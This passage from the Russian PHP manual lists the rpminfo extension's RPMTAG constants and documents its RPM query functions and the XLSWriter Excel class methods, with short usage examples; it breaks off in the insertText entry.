Имя (не путь) файлов, с индексом базы данных.
RPMTAG_BUGURL (int)
RPMTAG_BUILDARCHS (int)
RPMTAG_BUILDHOST (int)
RPMTAG_BUILDTIME (int)
RPMTAG_C (int)
RPMTAG_CHANGELOGNAME (int)
RPMTAG_CHANGELOGTEXT (int)
RPMTAG_CHANGELOGTIME (int)
RPMTAG_CLASSDICT (int)
RPMTAG_CONFLICTFLAGS (int)
RPMTAG_CONFLICTNAME (int)
Конфликтующие зависимости с индексом базы данных.
RPMTAG_CONFLICTNEVRS (int)
RPMTAG_CONFLICTS (int)
RPMTAG_CONFLICTVERSION (int)
RPMTAG_COOKIE (int)
RPMTAG_DBINSTANCE (int)
RPMTAG_DEPENDSDICT (int)
RPMTAG_DESCRIPTION (int)
RPMTAG_DIRINDEXES (int)
RPMTAG_DIRNAMES (int)
Каталог файлов, с индексом базы данных.
RPMTAG_DISTRIBUTION (int)
RPMTAG_DISTTAG (int)
RPMTAG_DISTURL (int)
RPMTAG_DSAHEADER (int)
RPMTAG_E (int)
RPMTAG_ENCODING (int)
RPMTAG_ENHANCEFLAGS (int)
RPMTAG_ENHANCENAME (int)
Слабые зависимости с индексом базы данных, требуются librpm >= 4.13.
RPMTAG_ENHANCENEVRS (int)
RPMTAG_ENHANCES (int)
RPMTAG_ENHANCEVERSION (int)
RPMTAG_EPOCH (int)
RPMTAG_EPOCHNUM (int)
RPMTAG_EVR (int)
RPMTAG_EXCLUDEARCH (int)
RPMTAG_EXCLUDEOS (int)
RPMTAG_EXCLUSIVEARCH (int)
RPMTAG_EXCLUSIVEOS (int)
RPMTAG_FILECAPS (int)
RPMTAG_FILECLASS (int)
RPMTAG_FILECOLORS (int)
RPMTAG_FILECONTEXTS (int)
RPMTAG_FILEDEPENDSN (int)
RPMTAG_FILEDEPENDSX (int)
RPMTAG_FILEDEVICES (int)
RPMTAG_FILEDIGESTALGO (int)
RPMTAG_FILEDIGESTS (int)
RPMTAG_FILEFLAGS (int)
RPMTAG_FILEGROUPNAME (int)
RPMTAG_FILEINODES (int)
RPMTAG_FILELANGS (int)
RPMTAG_FILELINKTOS (int)
RPMTAG_FILEMD5S (int)
RPMTAG_FILEMODES (int)
RPMTAG_FILEMTIMES (int)
RPMTAG_FILENAMES (int)
RPMTAG_FILENLINKS (int)
RPMTAG_FILEPROVIDE (int)
RPMTAG_FILERDEVS (int)
RPMTAG_FILEREQUIRE (int)
RPMTAG_FILESIGNATURELENGTH (int)
RPMTAG_FILESIGNATURES (int)
RPMTAG_FILESIZES (int)
RPMTAG_FILESTATES (int)
RPMTAG_FILETRIGGERCONDS (int)
RPMTAG_FILETRIGGERFLAGS (int)
RPMTAG_FILETRIGGERINDEX (int)
RPMTAG_FILETRIGGERNAME (int)
File trigger name, with database index, requires librpm >= 4.13.
RPMTAG_FILETRIGGERPRIORITIES (int)
RPMTAG_FILETRIGGERSCRIPTFLAGS (int)
RPMTAG_FILETRIGGERSCRIPTPROG (int)
RPMTAG_FILETRIGGERSCRIPTS (int)
RPMTAG_FILETRIGGERTYPE (int)
RPMTAG_FILETRIGGERVERSION (int)
RPMTAG_FILEUSERNAME (int)
RPMTAG_FILEVERIFYFLAGS (int)
RPMTAG_FSCONTEXTS (int)
RPMTAG_GIF (int)
RPMTAG_GROUP (int)
Group of the package, with database index.
RPMTAG_HDRID (int)
RPMTAG_HEADERCOLOR (int)
RPMTAG_HEADERI18NTABLE (int)
RPMTAG_HEADERIMAGE (int)
RPMTAG_HEADERIMMUTABLE (int)
RPMTAG_HEADERREGIONS (int)
RPMTAG_HEADERSIGNATURES (int)
RPMTAG_ICON (int)
RPMTAG_INSTALLCOLOR (int)
RPMTAG_INSTALLTID (int)
Идентификатор транзакции установки, с индексом базы данных.
RPMTAG_INSTALLTIME (int)
RPMTAG_INSTFILENAMES (int)
Путь к файлам, с индексом базы данных.
RPMTAG_INSTPREFIXES (int)
RPMTAG_LICENSE (int)
RPMTAG_LONGARCHIVESIZE (int)
RPMTAG_LONGFILESIZES (int)
RPMTAG_LONGSIGSIZE (int)
RPMTAG_LONGSIZE (int)
RPMTAG_MODULARITYLABEL (int)
RPMTAG_N (int)
RPMTAG_NAME (int)
Package name, with database index.
RPMTAG_NEVR (int)
RPMTAG_NEVRA (int)
RPMTAG_NOPATCH (int)
RPMTAG_NOSOURCE (int)
RPMTAG_NVR (int)
RPMTAG_NVRA (int)
RPMTAG_O (int)
RPMTAG_OBSOLETEFLAGS (int)
RPMTAG_OBSOLETENAME (int)
Устаревшие пакеты, с индексом базы данных.
RPMTAG_OBSOLETENEVRS (int)
RPMTAG_OBSOLETES (int)
RPMTAG_OBSOLETEVERSION (int)
RPMTAG_OLDENHANCES (int)
RPMTAG_OLDENHANCESFLAGS (int)
RPMTAG_OLDENHANCESNAME (int)
RPMTAG_OLDENHANCESVERSION (int)
RPMTAG_OLDFILENAMES (int)
RPMTAG_OLDSUGGESTS (int)
RPMTAG_OLDSUGGESTSFLAGS (int)
RPMTAG_OLDSUGGESTSNAME (int)
RPMTAG_OLDSUGGESTSVERSION (int)
RPMTAG_OPTFLAGS (int)
RPMTAG_ORDERFLAGS (int)
RPMTAG_ORDERNAME (int)
RPMTAG_ORDERVERSION (int)
RPMTAG_ORIGBASENAMES (int)
RPMTAG_ORIGDIRINDEXES (int)
RPMTAG_ORIGDIRNAMES (int)
RPMTAG_ORIGFILENAMES (int)
RPMTAG_OS (int)
RPMTAG_P (int)
RPMTAG_PACKAGER (int)
RPMTAG_PATCH (int)
RPMTAG_PATCHESFLAGS (int)
RPMTAG_PATCHESNAME (int)
RPMTAG_PATCHESVERSION (int)
RPMTAG_PAYLOADCOMPRESSOR (int)
RPMTAG_PAYLOADDIGEST (int)
RPMTAG_PAYLOADDIGESTALT (int)
С librpm >= 4.16.
RPMTAG_PAYLOADDIGESTALGO (int)
RPMTAG_PAYLOADFLAGS (int)
RPMTAG_PAYLOADFORMAT (int)
RPMTAG_PKGID (int)
RPMTAG_PLATFORM (int)
RPMTAG_POLICIES (int)
RPMTAG_POLICYFLAGS (int)
RPMTAG_POLICYNAMES (int)
RPMTAG_POLICYTYPES (int)
RPMTAG_POLICYTYPESINDEXES (int)
RPMTAG_POSTIN (int)
RPMTAG_POSTINFLAGS (int)
RPMTAG_POSTINPROG (int)
RPMTAG_POSTTRANS (int)
RPMTAG_POSTTRANSFLAGS (int)
RPMTAG_POSTTRANSPROG (int)
RPMTAG_POSTUN (int)
RPMTAG_POSTUNFLAGS (int)
RPMTAG_POSTUNPROG (int)
RPMTAG_POSTUNTRANS (int)
Требуется librpm >= 4.19
RPMTAG_POSTUNTRANSFLAGS (int)
Требуется librpm >= 4.19
RPMTAG_POSTUNTRANSPROG (int)
Требуется librpm >= 4.19
RPMTAG_PREFIXES (int)
RPMTAG_PREIN (int)
RPMTAG_PREINFLAGS (int)
RPMTAG_PREINPROG (int)
RPMTAG_PRETRANS (int)
RPMTAG_PRETRANSFLAGS (int)
RPMTAG_PRETRANSPROG (int)
RPMTAG_PREUN (int)
RPMTAG_PREUNFLAGS (int)
RPMTAG_PREUNPROG (int)
RPMTAG_PREUNTRANS (int)
Требуется librpm >= 4.19
RPMTAG_PREUNTRANSFLAGS (int)
Требуется librpm >= 4.19
RPMTAG_PREUNTRANSPROG (int)
Требуется librpm >= 4.19
RPMTAG_PROVIDEFLAGS (int)
RPMTAG_PROVIDENAME (int)
Предоставленные зависимости, с индексом базы данных.
RPMTAG_PROVIDENEVRS (int)
RPMTAG_PROVIDES (int)
RPMTAG_PROVIDEVERSION (int)
RPMTAG_PUBKEYS (int)
RPMTAG_R (int)
RPMTAG_RECOMMENDFLAGS (int)
RPMTAG_RECOMMENDNAME (int)
Рекомендуемые слабые зависимости с индексом базы данных, требуется librpm >= 4.13.
RPMTAG_RECOMMENDNEVRS (int)
RPMTAG_RECOMMENDS (int)
RPMTAG_RECOMMENDVERSION (int)
RPMTAG_RECONTEXTS (int)
RPMTAG_RELEASE (int)
RPMTAG_REMOVETID (int)
RPMTAG_REQUIREFLAGS (int)
RPMTAG_REQUIRENAME (int)
Обязательные зависимости с индексом базы данных.
RPMTAG_REQUIRENEVRS (int)
RPMTAG_REQUIRES (int)
RPMTAG_REQUIREVERSION (int)
RPMTAG_RPMVERSION (int)
RPMTAG_RSAHEADER (int)
RPMTAG_SHA1HEADER (int)
Подпись SHA1, с индексом базы данных.
RPMTAG_SHA256HEADER (int)
RPMTAG_SIGGPG (int)
RPMTAG_SIGMD5 (int)
Подпись MD5, с индексом базы данных.
RPMTAG_SIGPGP (int)
RPMTAG_SIGSIZE (int)
RPMTAG_SIZE (int)
RPMTAG_SOURCE (int)
RPMTAG_SOURCEPACKAGE (int)
RPMTAG_SOURCEPKGID (int)
RPMTAG_SOURCERPM (int)
RPMTAG_SPEC (int)
Требуется librpm >= 4.18
RPMTAG_SUGGESTFLAGS (int)
RPMTAG_SUGGESTNAME (int)
Предлагаемые слабые зависимости с индексом базы данных, требуется librpm >= 4.13.
RPMTAG_SUGGESTNEVRS (int)
RPMTAG_SUGGESTS (int)
RPMTAG_SUGGESTVERSION (int)
RPMTAG_SUMMARY (int)
RPMTAG_SUPPLEMENTFLAGS (int)
RPMTAG_SUPPLEMENTNAME (int)
Слабые зависимости, с индексом базы данных, требуется librpm >= 4.13.
RPMTAG_SUPPLEMENTNEVRS (int)
RPMTAG_SUPPLEMENTS (int)
RPMTAG_SUPPLEMENTVERSION (int)
RPMTAG_SYSUSERS (int)
Требуется librpm >= 4.19
RPMTAG_TRANSFILETRIGGERCONDS (int)
RPMTAG_TRANSFILETRIGGERFLAGS (int)
RPMTAG_TRANSFILETRIGGERINDEX (int)
RPMTAG_TRANSFILETRIGGERNAME (int)
Имя триггера файла транзакции, с индексом базы данных, требуется librpm >= 4.13.
RPMTAG_TRANSFILETRIGGERPRIORITIES (int)
RPMTAG_TRANSFILETRIGGERSCRIPTFLAGS (int)
RPMTAG_TRANSFILETRIGGERSCRIPTPROG (int)
RPMTAG_TRANSFILETRIGGERSCRIPTS (int)
RPMTAG_TRANSFILETRIGGERTYPE (int)
RPMTAG_TRANSFILETRIGGERVERSION (int)
RPMTAG_TRANSLATIONURL (int)
Требуется librpm >= 4.18
RPMTAG_TRIGGERCONDS (int)
RPMTAG_TRIGGERFLAGS (int)
RPMTAG_TRIGGERINDEX (int)
RPMTAG_TRIGGERNAME (int)
Trigger name, with database index.
RPMTAG_TRIGGERSCRIPTFLAGS (int)
RPMTAG_TRIGGERSCRIPTPROG (int)
RPMTAG_TRIGGERSCRIPTS (int)
RPMTAG_TRIGGERTYPE (int)
RPMTAG_TRIGGERVERSION (int)
RPMTAG_UPSTREAMRELEASES (int)
Требуется librpm >= 4.18
RPMTAG_URL (int)
RPMTAG_V (int)
RPMTAG_VCS (int)
RPMTAG_VENDOR (int)
RPMTAG_VERBOSE (int)
RPMTAG_VERIFYSCRIPT (int)
RPMTAG_VERIFYSCRIPTFLAGS (int)
RPMTAG_VERIFYSCRIPTPROG (int)
RPMTAG_VERITYSIGNATUREALGO (int)
С librpm >= 4.17.
RPMTAG_VERITYSIGNATURES (int)
С librpm >= 4.17.
RPMTAG_VERSION (int)
RPMTAG_XPM (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции RpmInfo

Содержание

  • rpmaddtag — Добавляет тег, полученный в запросе
  • rpmdbinfo — Получает информацию от установленного RPM
  • rpmdbsearch — Поиск RPM-пакетов
  • rpmgetsymlink — Get target of a symlink
  • rpminfo — Извлечь информацию из RPM-файла
  • rpmvercmp — Сравнивает версии RPM

User Contributed Notes

There are no user contributed notes for this page.


Добавляет тег, полученный в запросе

  • « Функции RpmInfo
  • rpmdbinfo »
  • PHP Manual
  • Функции RpmInfo
  • Добавляет тег, полученный в запросе

rpmaddtag

(PECL rpminfo >= 0.5.0)

rpmaddtag — Добавляет тег, полученный в запросе

Описание

rpmaddtag(int $tag): bool

Добавляет дополнительный извлечённый тег в последующих запросах.

Список параметров

tag

Одна из констант RPMTAG_*, посмотрите страницу константы rpminfo.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • rpminfo() - Извлечь информацию из RPM-файла
  • rpmdbinfo() - Получает информацию от установленного RPM
  • rpmdbsearch() - Поиск RPM-пакетов

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию от установленного RPM

  • « rpmaddtag
  • rpmdbsearch »
  • PHP Manual
  • Функции RpmInfo
  • Получает информацию от установленного RPM

rpmdbinfo

(PECL rpminfo >= 0.2.0)

rpmdbinfo — Получает информацию от установленного RPM

Описание

rpmdbinfo(string $nevr, bool $full = false): ?array

Получает информацию об установленном пакете из системной базы данных RPM.

Список параметров

nevr

Имя с указанием эпохи, версии и выпуска.

full

Если true, извлекаются все информационные заголовки для файла, иначе только минимальный набор.

Возвращаемые значения

Массив (array) массивов (array) информации или NULL в случае возникновения ошибки.

Примеры

Пример #1 Пример использования rpmdbinfo()

<?php
rpmaddtag(RPMTAG_INSTALLTIME);
$info = rpmdbinfo("php-pecl-rpminfo");
print_r($info);
?>

Результат выполнения данного примера:

Array
(
    [0] => Array
        (
            [Name] => php-pecl-rpminfo
            [Version] => 0.4.2
            [Release] => 1.fc31
            [Summary] => RPM information
            [Installtime] => 1586244687
            [Arch] => x86_64
        )
)

Смотрите также

  • rpmaddtag() - Добавляет тег, полученный в запросе

User Contributed Notes

There are no user contributed notes for this page.


Поиск RPM-пакетов

  • « rpmdbinfo
  • rpmgetsymlink »
  • PHP Manual
  • Функции RpmInfo
  • Поиск RPM-пакетов

rpmdbsearch

(PECL rpminfo >= 0.3.0)

rpmdbsearch — Поиск RPM-пакетов

Описание

rpmdbsearch(
string $pattern,
int $rpmtag = RPMTAG_NAME,
int $rpmmire = -1,
bool $full = false
): ?array

Поиск пакетов в системной базе данных RPM.

Список параметров

pattern

Значение, которое будем искать.

rpmtag

Критерий поиска. Одна из констант RPMTAG_*, смотрите константы rpminfo.

rpmmire

Тип шаблона. Одна из констант RPMMIRE_*, смотрите константы rpminfo. Если меньше 0, то критерий должен быть равен значению и по возможности будет использован индекс базы данных.

full

Если true, то для файла будут извлечены все заголовки. Иначе будет извлечён минимальный набор.

Возвращаемые значения

Массив массивов с информацией, либо null, в случае возникновения ошибки.

Примеры

Пример #1 Поиск пакета, в котором находится файл

<?php
$info = rpmdbsearch("/usr/bin/php", RPMTAG_INSTFILENAMES);
print_r($info);
?>

Результат выполнения данного примера:

Array
(
    [0] => Array
        (
            [Name] => php-cli
            [Version] => 7.4.4
            [Release] => 1.fc32
            [Summary] => Command-line interface for PHP
            [Arch] => x86_64
        )

)

Смотрите также

  • rpmaddtag() - Добавляет тег, полученный в запросе

User Contributed Notes

There are no user contributed notes for this page.


Get target of a symlink

  • « rpmdbsearch
  • rpminfo »
  • PHP Manual
  • Функции RpmInfo
  • Get target of a symlink

rpmgetsymlink

(PECL rpminfo >= 1.1.0)

rpmgetsymlink — Get target of a symlink

Описание

rpmgetsymlink(string $path, string $name): ?string

Get target of a symlink.

Список параметров

path

Path of the RPM file.

name

Name of the symlink file.

Возвращаемые значения

A string with target of the symlink, NULL on error, or an empty string if not a symlink.

User Contributed Notes

There are no user contributed notes for this page.


Извлечь информацию из RPM-файла

  • « rpmgetsymlink
  • rpmvercmp »
  • PHP Manual
  • Функции RpmInfo
  • Извлечь информацию из RPM-файла

rpminfo

(PECL rpminfo >= 0.1.0)

rpminfo — Извлечь информацию из RPM-файла

Описание

rpminfo(string $path, bool $full = false, string &$error = ?): ?array

Извлечь информацию о локальном RPM-файле.

Список параметров

path

Путь к файлу.

full

Если true, то для файла будут извлечены все заголовки. Иначе будет извлечён минимальный набор.

error

Если задан, то в него будет записана информация об ошибке, в случае её возникновения. Это позволит избежать предупреждений во время исполнения.

Возвращаемые значения

Массив с данными или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования rpminfo()

<?php
rpmaddtag(RPMTAG_BUILDTIME);
$info = rpminfo("./php-pecl-rpminfo-0.4.2-1.el8.remi.7.4.x86_64.rpm");
print_r($info);
?>

Результат выполнения данного примера:

Array
(
    [Name] => php-pecl-rpminfo
    [Version] => 0.4.2
    [Release] => 1.el8
    [Summary] => RPM information
    [Buildtime] => 1586244821
    [Arch] => x86_64
)

Смотрите также

  • rpmaddtag() - Добавляет тег, полученный в запросе

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает версии RPM

  • « rpminfo
  • XLSWriter »
  • PHP Manual
  • Функции RpmInfo
  • Сравнивает версии RPM

rpmvercmp

(PECL rpminfo >= 0.1.0)

rpmvercmp — Сравнивает версии RPM

Описание

rpmvercmp(string $evr1, string $evr2, ?string $operator = null): int|bool

Сравнивает версий двух RPM.

Список параметров

evr1

Первая версия в формате epoch:version-release

evr2

Вторая версия в формате epoch:version-release

operator

Необязательный оператор. Доступные операторы: <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne соответственно.

Этот параметр чувствителен к регистру, значение необходимо указывать в нижнем регистре.

Возвращаемые значения

Возвращает < 0, если evr1 меньше evr2, > 0, если evr1 больше evr2, и 0, если они идентичны.

Если будет получен необязательный параметр operator функция вернёт true, если сравнение будет соответствовать тому, которое задано оператором, иначе false.

Список изменений

Версия | Описание
0.7.0 | Был добавлен необязательный аргумент operator.

User Contributed Notes

There are no user contributed notes for this page.


XLSWriter

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Типы ресурсов
  • Предопределённые константы
  • Vtiful\Kernel\Excel — Класс Vtiful\Kernel\Excel
    • Vtiful\Kernel\Excel::addSheet — Добавить лист
    • Vtiful\Kernel\Excel::autoFilter — Добавить автофильтр
    • Vtiful\Kernel\Excel::constMemory — Количество памяти
    • Vtiful\Kernel\Excel::__construct — Конструктор
    • Vtiful\Kernel\Excel::data — Записать данные
    • Vtiful\Kernel\Excel::fileName — Создать название файла
    • Vtiful\Kernel\Excel::getHandle — Получить дескриптор
    • Vtiful\Kernel\Excel::header — Записать заголовок
    • Vtiful\Kernel\Excel::insertFormula — Вставить формулу расчёта
    • Vtiful\Kernel\Excel::insertImage — Вставить изображение
    • Vtiful\Kernel\Excel::insertText — Вставить текст
    • Vtiful\Kernel\Excel::mergeCells — Объединить ячейки
    • Vtiful\Kernel\Excel::output — Вывод
    • Vtiful\Kernel\Excel::setColumn — Установить столбец
    • Vtiful\Kernel\Excel::setRow — Установить строку
  • Vtiful\Kernel\Format — Класс Vtiful\Kernel\Format
    • Vtiful\Kernel\Format::align — Выравнивание
    • Vtiful\Kernel\Format::bold — Полужирный
    • Vtiful\Kernel\Format::italic — Курсив
    • Vtiful\Kernel\Format::underline — Подчёркнутый

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль для быстрого и эффективного экспорта в xlsx.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Типы ресурсов

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы XLSWriter необходим PHP версии 7.0 и выше.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/xlswriter

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Для процедурного использования модуля XLSWriter используется тип ресурса, возвращаемый функцией fileName() или \Vtiful\Kernel\Format.

User Contributed Notes

There are no user contributed notes for this page.


Класс Vtiful\Kernel\Excel

(PECL xlswriter >= 1.2.1)

Введение

Создаёт файлы xlsx с заданными ячейками

Обзор классов

class Vtiful\Kernel\Excel {
/* Методы */
public __construct(array $config)
public addSheet(string $sheetName)
public autoFilter(string $scope)
public constMemory(string $fileName, string $sheetName = ?)
public data(array $data)
public fileName(string $fileName, string $sheetName = ?)
public getHandle()
public header(array $headerData)
public insertFormula(int $row, int $column, string $formula)
public insertImage(int $row, int $column, string $localImagePath)
public insertText(
int $row,
int $column,
int|float|string $data,
string $format = ?
)
public mergeCells(string $scope, string $data)
public output()
public setColumn(string $range, float $width, resource $format = ?)
public setRow(string $range, float $height, resource $format = ?)
}

Содержание

  • Vtiful\Kernel\Excel::addSheet — Добавить лист
  • Vtiful\Kernel\Excel::autoFilter — Добавить автофильтр
  • Vtiful\Kernel\Excel::constMemory — Количество памяти
  • Vtiful\Kernel\Excel::__construct — Конструктор
  • Vtiful\Kernel\Excel::data — Записать данные
  • Vtiful\Kernel\Excel::fileName — Создать название файла
  • Vtiful\Kernel\Excel::getHandle — Получить дескриптор
  • Vtiful\Kernel\Excel::header — Записать заголовок
  • Vtiful\Kernel\Excel::insertFormula — Вставить формулу расчёта
  • Vtiful\Kernel\Excel::insertImage — Вставить изображение
  • Vtiful\Kernel\Excel::insertText — Вставить текст
  • Vtiful\Kernel\Excel::mergeCells — Объединить ячейки
  • Vtiful\Kernel\Excel::output — Вывод
  • Vtiful\Kernel\Excel::setColumn — Установить столбец
  • Vtiful\Kernel\Excel::setRow — Установить строку

User Contributed Notes

There are no user contributed notes for this page.


Добавить лист

  • « Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel::autoFilter »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Добавить лист

Vtiful\Kernel\Excel::addSheet

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::addSheet — Добавить лист

Описание

public Vtiful\Kernel\Excel::addSheet(string $sheetName)

Создайте новый лист в файле xlsx.

Список параметров

sheetName

Имя листа

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age'])
->data([
['viest', 23],
['wjx', 23]
]);

$file->addSheet('sheet_two')
->header(['name', 'age'])
->data([
['james', 33],
['king', 33]
]);

$file->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Добавить автофильтр

  • « Vtiful\Kernel\Excel::addSheet
  • Vtiful\Kernel\Excel::constMemory »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Добавить автофильтр

Vtiful\Kernel\Excel::autoFilter

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::autoFilter — Добавить автофильтр

Описание

public Vtiful\Kernel\Excel::autoFilter(string $scope)

Добавление автофильтра к листу.

Список параметров

scope

Начальная и конечная строка координат ячейки.

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName('test.xlsx')
->header(['name', 'age'])
->data($data)
->autoFilter('A1:B11') // автофильтр
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Количество памяти

  • « Vtiful\Kernel\Excel::autoFilter
  • Vtiful\Kernel\Excel::__construct »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Количество памяти

Vtiful\Kernel\Excel::constMemory

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::constMemory — Количество памяти

Описание

public Vtiful\Kernel\Excel::constMemory(string $fileName, string $sheetName = ?)

Запись большого файла с постоянным использованием памяти.

Список параметров

fileName

Имя файла XLSX

sheetName

Название листа

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => '/home/viest'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $instance->constMemory('tutorial.xlsx', 'sheet');
?>

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « Vtiful\Kernel\Excel::constMemory
  • Vtiful\Kernel\Excel::data »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Конструктор

Vtiful\Kernel\Excel::__construct

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::__construct — Конструктор

Описание

public Vtiful\Kernel\Excel::__construct(array $config)

Конструктор Vtiful\Kernel\Excel, создать экземпляр.

Список параметров

config

Конфигурация экспорта файла XLSX

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => '/home/viest'
];

$excelObject = new \Vtiful\Kernel\Excel($config);
?>

User Contributed Notes

There are no user contributed notes for this page.


Записать данные

  • « Vtiful\Kernel\Excel::__construct
  • Vtiful\Kernel\Excel::fileName »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Записать данные

Vtiful\Kernel\Excel::data

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::data — Записать данные

Описание

public Vtiful\Kernel\Excel::data(array $data)

Записать данные в таблицу.

Список параметров

data

Данные листа

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age'])
->data([
['viest', 23],
['wjx', 23],
]);
?>

User Contributed Notes

There are no user contributed notes for this page.


Создать название файла

  • « Vtiful\Kernel\Excel::data
  • Vtiful\Kernel\Excel::getHandle »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Создать название файла

Vtiful\Kernel\Excel::fileName

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::fileName — Создать название файла

Описание

public Vtiful\Kernel\Excel::fileName(string $fileName, string $sheetName = ?)

Создать новый файл XLSX и лист в нем.

Список параметров

fileName

Имя файла XLSX

sheetName

Название листа

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => '/home/viest'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $instance->fileName('tutorial.xlsx', 'sheet');
?>

User Contributed Notes

There are no user contributed notes for this page.


Получить дескриптор

  • « Vtiful\Kernel\Excel::fileName
  • Vtiful\Kernel\Excel::header »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Получить дескриптор

Vtiful\Kernel\Excel::getHandle

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::getHandle — Получить дескриптор

Описание

public Vtiful\Kernel\Excel::getHandle()

Получить дескриптор текстового ресурса xlsx.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ресурс

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age']);

$handle = $file->getHandle();
?>

User Contributed Notes

There are no user contributed notes for this page.


Записать заголовок

  • « Vtiful\Kernel\Excel::getHandle
  • Vtiful\Kernel\Excel::insertFormula »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Записать заголовок

Vtiful\Kernel\Excel::header

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::header — Записать заголовок

Описание

public Vtiful\Kernel\Excel::header(array $headerData)

Написать заголовок на листе.

Список параметров

headerData

Данные заголовка листа

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age']);
?>

User Contributed Notes

There are no user contributed notes for this page.


Вставить формулу расчёта

  • « Vtiful\Kernel\Excel::header
  • Vtiful\Kernel\Excel::insertImage »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Вставить формулу расчёта

Vtiful\Kernel\Excel::insertFormula

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertFormula — Вставить формулу расчёта

Описание

public Vtiful\Kernel\Excel::insertFormula(int $row, int $column, string $formula)

Вставить формулу расчёта.

Список параметров

row

строка ячейки

column

столбец ячейки

formula

строка формулы

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx")
->header(['name', 'money']);

for($index = 1; $index < 10; $index++) {
$file->insertText($index, 0, 'viest');
$file->insertText($index, 1, 10);
}

$file->insertText(12, 0, "Total");
$file->insertFormula(12, 1, '=SUM(B2:B11)'); // вставить формулу

$file->output();

User Contributed Notes

There are no user contributed notes for this page.


Вставить изображение

  • « Vtiful\Kernel\Excel::insertFormula
  • Vtiful\Kernel\Excel::insertText »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Вставить изображение

Vtiful\Kernel\Excel::insertImage

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertImage — Вставить изображение

Описание

public Vtiful\Kernel\Excel::insertImage(int $row, int $column, string $localImagePath)

Вставьте локальное изображение в ячейку.

Список параметров

row

строка ячейки

column

столбец ячейки

localImagePath

путь к локальному изображению

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx");

$file->insertImage(5, 0, '/vagrant/ASW-G-66.jpg');

$file->output();

User Contributed Notes

There are no user contributed notes for this page.


Вставить текст

  • « Vtiful\Kernel\Excel::insertImage
  • Vtiful\Kernel\Excel::mergeCells »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Вставить текст

Vtiful\Kernel\Excel::insertText

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertText — Вставить текст

Описание

public Vtiful\Kernel\Excel::insertText(
int $row,
int $column,
int|float|string $data,
string $format = ?
)

Вставить текст в ячейку.

Список параметров

row

строка ячейки

column

столбец ячейки

data

данные для записи

format

формат строки

Возвращаемые значения

